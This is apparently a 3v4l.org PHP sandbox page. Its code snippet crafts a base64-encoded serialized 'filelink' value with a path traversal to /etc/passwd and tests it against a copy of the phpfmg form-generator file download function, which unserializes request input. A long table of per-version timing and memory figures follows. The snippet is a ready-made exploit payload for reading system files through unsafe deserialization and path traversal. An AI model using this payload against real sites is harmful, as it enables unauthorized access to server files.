3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_GET['filelink'] = 'YToyOntzOjg6InJlY29yZElEIjtzOjEzOiIyMDE2MDIyMy0zYWRmIjtzOjg6ImZpbGVuYW1lIjtzOjUwOiIvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCI7fQ'; function phpfmg_filman_download() { var_dump($_REQUEST['filelink']); if( !isset($_REQUEST['filelink']) ) return ; $info = unserialize(base64_decode($_REQUEST['filelink'])); if( !isset($info['recordID']) ){ return ; }; $file = $info['recordID'] . '-' . $info['filename']; var_dump($file); //phpfmg_util_download( $file, $info['filename'] ); } phpfmg_filman_download(); //$name = phpfmg_rename_harmful(trim('Capture.JPG')) ; $name = '/../../../../../../../../../../../../../etc/passwd'; $filelink= base64_encode( serialize(array('recordID'=>"20160223-3adf", 'filename'=>$name)) ); //echo "?mod=filman&func=download&filelink=" . urlencode($filelink);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0060.00916.74
8.3.50.0160.00018.05
8.3.40.0130.00719.02
8.3.30.0150.00018.97
8.3.20.0040.00419.28
8.3.10.0040.00421.94
8.3.00.0040.00419.13
8.2.180.0110.00418.43
8.2.170.0060.00922.96
8.2.160.0120.00920.31
8.2.150.0000.00924.18
8.2.140.0080.00024.66
8.2.130.0000.00819.77
8.2.120.0040.00426.35
8.2.110.0090.00020.52
8.2.100.0120.00017.72
8.2.90.0030.00618.16
8.2.80.0000.00819.34
8.2.70.0040.00417.63
8.2.60.0080.00317.50
8.2.50.0050.00318.10
8.2.40.0000.00820.24
8.2.30.0040.00419.40
8.2.20.0050.00218.13
8.2.10.0040.00418.05
8.2.00.0070.00017.73
8.1.280.0070.01325.92
8.1.270.0040.00422.01
8.1.260.0030.00528.09
8.1.250.0080.00028.09
8.1.240.0040.00722.52
8.1.230.0080.00420.63
8.1.220.0050.00317.76
8.1.210.0040.00419.00
8.1.200.0040.00417.48
8.1.190.0000.00817.35
8.1.180.0040.00418.10
8.1.170.0040.00418.56
8.1.160.0040.00419.05
8.1.150.0060.00320.29
8.1.140.0000.00719.71
8.1.130.0040.00417.71
8.1.120.0050.00317.39
8.1.110.0060.00317.45
8.1.100.0000.00717.55
8.1.90.0040.00417.52
8.1.80.0030.00617.39
8.1.70.0030.00617.47
8.1.60.0000.00717.43
8.1.50.0030.00617.49
8.1.40.0000.00717.45
8.1.30.0040.00417.69
8.1.20.0040.00417.61
8.1.10.0000.00817.44
8.1.00.0030.00517.46
8.0.300.0040.00420.07
8.0.290.0060.00316.75
8.0.280.0050.00218.35
8.0.270.0070.00017.32
8.0.260.0030.00517.23
8.0.250.0070.00016.98
8.0.240.0040.00416.91
8.0.230.0040.00416.97
8.0.220.0030.00316.88
8.0.210.0030.00317.01
8.0.200.0000.00617.00
8.0.190.0000.00717.03
8.0.180.0040.00416.91
8.0.170.0070.00017.00
8.0.160.0000.00816.93
8.0.150.0030.00516.96
8.0.140.0030.00516.85
8.0.130.0060.00013.41
8.0.120.0000.00816.86
8.0.110.0000.00716.93
8.0.100.0000.00816.84
8.0.90.0000.00716.84
8.0.80.0110.00417.00
8.0.70.0060.00316.79
8.0.60.0070.00016.86
8.0.50.0080.00017.00
8.0.30.0090.01017.24
8.0.20.0120.00817.40
8.0.10.0000.00717.08
8.0.00.0180.00416.74
7.4.330.0050.00015.55
7.4.320.0030.00316.62
7.4.300.0030.00316.60
7.4.290.0070.00016.60
7.4.280.0060.00316.56
7.4.270.0030.00316.60
7.4.260.0000.00716.61
7.4.250.0080.00016.39
7.4.240.0000.00716.59
7.4.230.0030.00316.47
7.4.220.0060.01316.52
7.4.210.0090.00616.50
7.4.200.0030.00316.34
7.4.160.0070.00916.55
7.4.150.0110.01117.40
7.4.140.0070.01017.86
7.4.130.0060.01116.52
7.4.120.0090.00916.61
7.4.110.0080.01216.52
7.4.100.0090.01216.58
7.4.90.0110.00616.64
7.4.80.0070.01019.39
7.4.70.0030.01316.51
7.4.60.0000.01816.54
7.4.50.0000.01216.43
7.4.40.0060.00916.53
7.4.30.0180.00716.59
7.4.10.0120.00615.30
7.4.00.0080.00815.09
7.3.330.0030.00313.28
7.3.320.0000.00613.43
7.3.310.0070.00016.45
7.3.300.0050.00216.45
7.3.290.0120.00516.43
7.3.280.0080.01216.43
7.3.270.0070.01117.40
7.3.260.0120.00616.38
7.3.250.0100.01116.63
7.3.240.0140.00816.36
7.3.230.0100.00716.39
7.3.210.0130.00316.57
7.3.200.0070.01016.65
7.3.190.0070.01016.69
7.3.180.0000.01616.48
7.3.170.0100.01316.72
7.3.160.0090.00916.46
7.3.130.0070.01314.89
7.3.120.0090.00914.90
7.3.110.0070.01114.82
7.3.100.0090.00915.09
7.3.90.0060.00614.71
7.3.80.0070.00914.94
7.3.70.0090.00614.85
7.3.60.0050.00814.93
7.3.50.0030.01014.82
7.3.40.0060.00814.59
7.3.30.0080.00714.82
7.3.20.0070.00616.73
7.3.10.0090.00316.60
7.3.00.0050.01016.45
7.2.330.0130.00416.80
7.2.320.0070.01016.62
7.2.310.0070.01116.41
7.2.300.0120.00616.76
7.2.290.0140.00916.64
7.2.260.0070.01115.16
7.2.250.0080.01015.04
7.2.240.0090.00715.04
7.2.230.0020.01315.12
7.2.220.0080.00815.26
7.2.210.0050.00915.33
7.2.200.0040.01014.96
7.2.190.0030.01015.05
7.2.180.0060.00615.10
7.2.170.0070.00815.02
7.2.160.0000.01314.79
7.2.150.0050.00916.77
7.2.140.0070.00516.77
7.2.130.0080.00716.88
7.2.120.0020.01116.76
7.2.110.0080.00916.89
7.2.100.0060.00816.78
7.2.90.0050.01116.99
7.2.80.0070.00716.78
7.2.70.0050.01316.82
7.2.60.0020.01117.06
7.2.50.0080.00316.92
7.2.40.0050.00716.54
7.2.30.0060.00717.05
7.2.20.0070.00516.83
7.2.10.0050.01116.78
7.2.00.0080.00816.98
7.1.330.0080.00815.92
7.1.320.0030.00715.63
7.1.310.0040.00915.70
7.1.300.0070.00815.75
7.1.290.0080.00815.79
7.1.280.0020.00915.67
7.1.270.0050.00615.52
7.1.260.0050.00915.55
7.1.250.0070.00415.80
7.1.240.0050.00915.82
7.1.230.0050.01115.67
7.1.220.0070.00715.64
7.1.210.0080.00815.76
7.1.200.0060.00815.83
7.1.190.0050.00615.60
7.1.180.0060.00715.69
7.1.170.0060.00515.69
7.1.160.0120.00215.66
7.1.150.0030.00815.80
7.1.140.0020.01115.73
7.1.130.0050.00715.74
7.1.120.0030.00615.88
7.1.110.0070.00415.80
7.1.100.0030.00915.69
7.1.90.0050.00815.86
7.1.80.0030.01015.86
7.1.70.0080.00715.64
7.1.60.0030.00815.93
7.1.50.0020.00715.82
7.1.40.0060.00715.73
7.1.30.0060.00715.86
7.1.20.0050.00815.73
7.1.10.0080.00515.79
7.1.00.0050.03017.93
7.0.330.0100.00515.35
7.0.320.0050.00615.16
7.0.310.0050.01015.23
7.0.300.0090.00115.38
7.0.290.0000.01315.29
7.0.280.0020.01215.14
7.0.270.0090.00615.49
7.0.260.0060.00515.30
7.0.250.0090.00515.32
7.0.240.0070.00515.34
7.0.230.0060.00615.55
7.0.220.0050.00715.54
7.0.210.0050.00815.45
7.0.200.0050.00615.31
7.0.190.0060.00515.37
7.0.180.0100.00315.39
7.0.170.0070.00515.60
7.0.160.0080.00415.30
7.0.150.0060.00415.48
7.0.140.0040.00815.46
7.0.130.0070.00715.36
7.0.120.0050.00815.29
7.0.110.0070.00515.45
7.0.100.0100.00315.26
7.0.90.0040.01015.52
7.0.80.0040.00615.27
7.0.70.0050.00915.27
7.0.60.0040.00915.39
7.0.50.0050.00715.50
7.0.40.0050.00813.71
7.0.30.0060.00713.70
7.0.20.0080.00313.57
7.0.10.0040.00813.53
7.0.00.0050.00913.55
5.6.400.0070.00514.56
5.6.390.0090.00514.33
5.6.380.0050.00714.36
5.6.370.0070.00814.15
5.6.360.0040.00914.56
5.6.350.0080.00214.29
5.6.340.0060.00614.17
5.6.330.0050.00714.46
5.6.320.0050.00814.43
5.6.310.0030.00714.34
5.6.300.0070.00814.42
5.6.290.0070.00314.44
5.6.280.0040.00814.51
5.6.270.0060.00714.49
5.6.260.0050.00614.23
5.6.250.0030.01014.35
5.6.240.0060.00814.52
5.6.230.0130.00214.35
5.6.220.0080.00714.52
5.6.210.0080.00514.46
5.6.200.0050.00514.36
5.6.190.0070.00714.39
5.6.180.0040.00914.34
5.6.170.0040.00814.27
5.6.160.0090.00614.41
5.6.150.0040.01214.30
5.6.140.0060.00814.23
5.6.130.0090.00714.40
5.6.120.0030.01114.40
5.6.110.0020.00914.47
5.6.100.0050.00414.41
5.6.90.0070.00714.30
5.6.80.0040.01114.52
5.6.70.0100.00714.43
5.6.60.0060.01114.14
5.6.50.0080.00614.31
5.6.40.0090.00614.13
5.6.30.0080.00514.21
5.6.20.0080.00614.22
5.6.10.0080.00714.08
5.6.00.0040.00714.22

preferences:
65.62 ms | 401 KiB | 5 Q